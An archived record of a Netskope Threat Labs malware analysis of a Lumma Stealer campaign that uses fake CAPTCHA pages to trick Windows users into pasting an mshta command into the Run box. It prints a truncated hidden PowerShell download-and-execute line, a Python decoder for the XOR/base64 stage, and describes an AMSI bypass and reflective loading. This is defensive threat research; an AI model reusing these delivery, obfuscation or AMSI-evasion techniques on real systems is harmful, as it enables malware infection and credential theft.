{
	"id": "5a53de44-5695-462b-ab32-ea852f4bd4f3",
	"created_at": "2026-04-06T00:17:03.460406Z",
	"updated_at": "2026-04-10T13:11:59.353007Z",
	"deleted_at": null,
	"sha1_hash": "18f8168998dcc60bcbda18117514c698bc738e33",
	"title": "Lumma Stealer: Fake CAPTCHAs \u0026 New Techniques to Evade Detection",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 144919,
	"plain_text": "Lumma Stealer: Fake CAPTCHAs \u0026 New Techniques to Evade\r\nDetection\r\nBy Leandro Fróes\r\nPublished: 2025-01-23 · Archived: 2026-04-05 15:57:36 UTC\r\nSummary\r\nIn January 2025, Netskope Threat Labs observed a new malware campaign using fake CAPTCHAs to deliver\r\nLumma Stealer (also known as LummaC2). Lumma is a malware that works in the malware-as-a-service (MaaS)\r\nmodel and has existed since at least 2022. The campaign is global, with Netskope Threat Labs tracking victims\r\ntargeted in Argentina, Colombia, the United States, the Philippines, and other countries around the world. The\r\ncampaign also spans multiple industries, including healthcare, banking, and marketing, with the telecom industry\r\nhaving the highest number of organizations targeted.\r\nResearchers have observed attackers delivering Lumma via multiple methods, including cracked software, the\r\nDiscord CDN, and fake CAPTCHA pages. TThe payloads and techniques used in the infection chain can differ.\r\nAttackers use tools like process hollowing and PowerShell one-liners. Process hollowing occurs when attackers\r\nreplace the code of a legitimate, suspended process with malicious code so it looks and runs like a trusted program\r\nand avoids detection by security-monitoring tools. PowerShell one-liners are single, continuous commands that\r\ncombine multiple tasks into one command to complete a specific function efficiently. In this recent campaign,\r\nNetskope identified new payloads being delivered, new websites employing malvertising, and the use of open\r\nsource snippets to bypass security controls.\r\nKey findings\r\nA new Lumma Stealer campaign is using fake CAPTCHAs. It includes many new websites that use\r\nmalvertising. There are also new payloads and evasion techniques aimed at Windows users around the\r\nworld.\r\nThe infection chain includes a step where the attacker asks the victim to execute a command from their\r\nclipboard using the Windows Run command, making it difficult to flag via technologies like browser-based\r\ndefenses.\r\nOne of the payloads contains a snippet based on an open-source tool for bypassing Windows Antimalware\r\nScan Interface (AMSI), a step designed to evade malware protection capabilities.\r\nDetails\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 1 of 13\n\nInfection chain flow\r\nThe infection chain typically begins when the victim visits a website that redirects them to a fake CAPTCHA\r\npage. Once the victim accesses the URL, a fake CAPTCHA is displayed, instructing the victim to perform a\r\nparticular sequence of actions that leads to the execution of the next stage of the infection chain.\r\nLumma Stealer has been using a particular flavor of fake CAPTCHAs in its attack chain since August 2024 that\r\ninstruct the victim to run commands on their computer to kick off the infection. The fake CAPTCHAs are an\r\nexceptionally creative piece of social engineering designed to trick the victim into downloading and executing\r\nmalware outside the browser. Even users who are savvy enough to know not to download and run files on the web\r\nmay not realize what they are doing when they follow the instructions in the CAPTCHA. Also, downloading\r\nmalware outside the browser helps avoid detection from browser security measures.\r\nIn the campaign currently targeting Netskope customers, the fake CAPTCHA presents instructions to open the\r\nWindows Run window by pressing Windows+R, pasting the clipboard’s content in the run window using\r\nCTRL+V, and then pressing ENTER to execute it. By doing so, the user executes a command that infects their\r\nmachine. This specific sequence is essential for the successful execution of the next stage, and it only works in\r\nWindows environments.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 2 of 13\n\nFake CAPTCHA instruction\r\nBehind the scenes, the website code contains a JavaScript snippet that is responsible for adding a command to the\r\nclipboard. This command relies on the native mshta.exe Windows tool to download and execute an HTA file from\r\na remote server. Using mshta is a classic example of LOLBIN, a technique that attackers use to circumvent\r\ndefenses by proxying malicious code execution via trusted binaries.\r\nBy downloading and executing malware in such ways, the attacker avoids browser-based defenses since the victim\r\nwill perform all of the necessary steps outside of the browser context.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 3 of 13\n\nFake CAPTCHA JavaScript snippet\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 4 of 13\n\nExample of the malicious command in the Run window\r\nAlthough we observed payloads with different extensions being downloaded (e.g., .mp3, .accdb, .pub), none of\r\nthem were what the extension suggested. The downloaded files contain not only bytes suggesting a different file\r\ntype, but also random bytes and a malicious JavaScript snippet. \r\nOnce executed, the JavaScript code calls PowerShell to decode a base64 encoded chunk of data and execute it.\r\nThe resulting code downloads and executes the next stage in the victim’s machine.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 5 of 13\n\nPowershell command executed by the HTA file\r\n\"C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe\" -w hidden -ep bypass -nop -Command \"iex\r\nThe next stage is a much bigger (\u003e8MB), obfuscated PowerShell payload. Although it might look complex due to\r\nits size, it’s rather straightforward.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 6 of 13\n\nExample of the obfuscated PowerShell script\r\nFirst, it deobfuscates a string via some mathematical operations and uses the resulting string as a key. In the\r\nanalyzed samples, the decoded key was the string “AMSI_RESULT_NOT_DETECTED.” The code also defines a\r\nchunk of decimal values that are used later.\r\nNext, it calls a function named “fdsjnh.” This function is responsible for converting a chunk of data into a string,\r\ndecoding it using base64, and then performing a multi-byte XOR operation on it using the mentioned key. This\r\noperation results in another PowerShell script, which it executes using some other obfuscated variables.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 7 of 13\n\nRelevant snippet responsible for the next stage execution\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 8 of 13\n\nFormatted view of the relevant snippet\r\nAs an example, the following is a Python script that performs the same actions as the function mentioned above.\r\nimport base64\r\ndecimal_data = []\r\nxor_key = b\"AMSI_RESULT_NOT_DETECTED\"\r\nkey_len = len(xor_key)\r\nresult = b\"\"\r\nencoded_str = \"\".join([chr(x) for x in decimal_data])\r\ndecoded_bytes = base64.b64decode(encoded_str)\r\ni = 0\r\nfor i in range(len(decoded_bytes)):\r\n result += bytes([decoded_bytes[i] ^ xor_key[i % key_len]])\r\n print(result.decode())\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 9 of 13\n\nThe PowerShell line responsible for executing the next stage script can be translated into the following.\r\n((Scriptblock -as [Type])::(Create)((fdsjnh))).(Invoke)()\r\nUnlike the other executed scripts, this one is not obfuscated. \r\nOnce executed, it attempts to evade Windows Antimalware Scan Interface (AMSI) by removing the string\r\n“AmsiScanBuffer” from the “clr.dll” module in memory to prevent it from being called. By doing so, the script\r\nprevents its final payload, which is loaded reflectively, from being scanned by AMSI. The AMSI bypass code\r\nappears to be a copy of an open source implementation.\r\nThe script then decodes a base64 encoded chunk of data, which results in a PE file. The final step performed by\r\nthe script is to load and execute the decoded PE file using reflection.\r\nCode snippet responsible for bypassing AMSI checks\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 10 of 13\n\nCode snippet responsible for decoding and executing Lumma Stealer\r\nThe payload loaded and executed using reflection is the Lumma Stealer. It’s worth mentioning that some of the\r\nsamples analyzed by Netskope were using tools like Babel to make the analysis more difficult.\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 11 of 13\n\nExample of Lumma Stealer entry\r\nNetskope Detection\r\nNetskope Advanced Threat Protection provides proactive coverage against many of the different layers involved\r\nin this threat. It does so by leveraging real-time, multi-layered threat detection technologies, including AI/ML-based analysis and comprehensive web and cloud traffic inspection. Netskope One Threat Protection works to\r\ndetect and block evasive attacks like these across all cloud and web services.\r\nFake CAPTCHA:\r\nDocument-HTML.Trojan.FakeCaptcha\r\nObfuscated HTML:\r\nTrojan.GenericKD.75371630\r\nTrojan.GenericKD.75345562\r\nObfuscated Powershell:\r\nTrojan.Generic.37229350\r\nLumma payload:\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 12 of 13\n\nWin32.Virus.Virut\r\nGen:Variant.Lazy.620708\r\nTrojan.Generic.37234454\r\nConclusions\r\nThe Lumma Stealer operates using the malware-as-a-service (MaaS) model and has been extremely active in the\r\npast months. By using different delivery methods and payloads it makes detection and blocking of such threats\r\nmore complex, especially when abusing user interactions within the system. Netskope Threat Labs will continue\r\nto track how the Lumma Stealer malware evolves and its TTP.\r\nIOCs\r\nAll the IOCs and scripts related to this malware can be found in our GitHub repository.\r\nSource: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nhttps://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE",
		"ETDA",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection"
	],
	"report_names": [
		"lumma-stealer-fake-captchas-new-techniques-to-evade-detection"
	],
	"threat_actors": [],
	"ts_created_at": 1775434623,
	"ts_updated_at": 1775826719,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/18f8168998dcc60bcbda18117514c698bc738e33.pdf",
		"text": "https://archive.orkl.eu/18f8168998dcc60bcbda18117514c698bc738e33.txt",
		"img": "https://archive.orkl.eu/18f8168998dcc60bcbda18117514c698bc738e33.jpg"
	}
}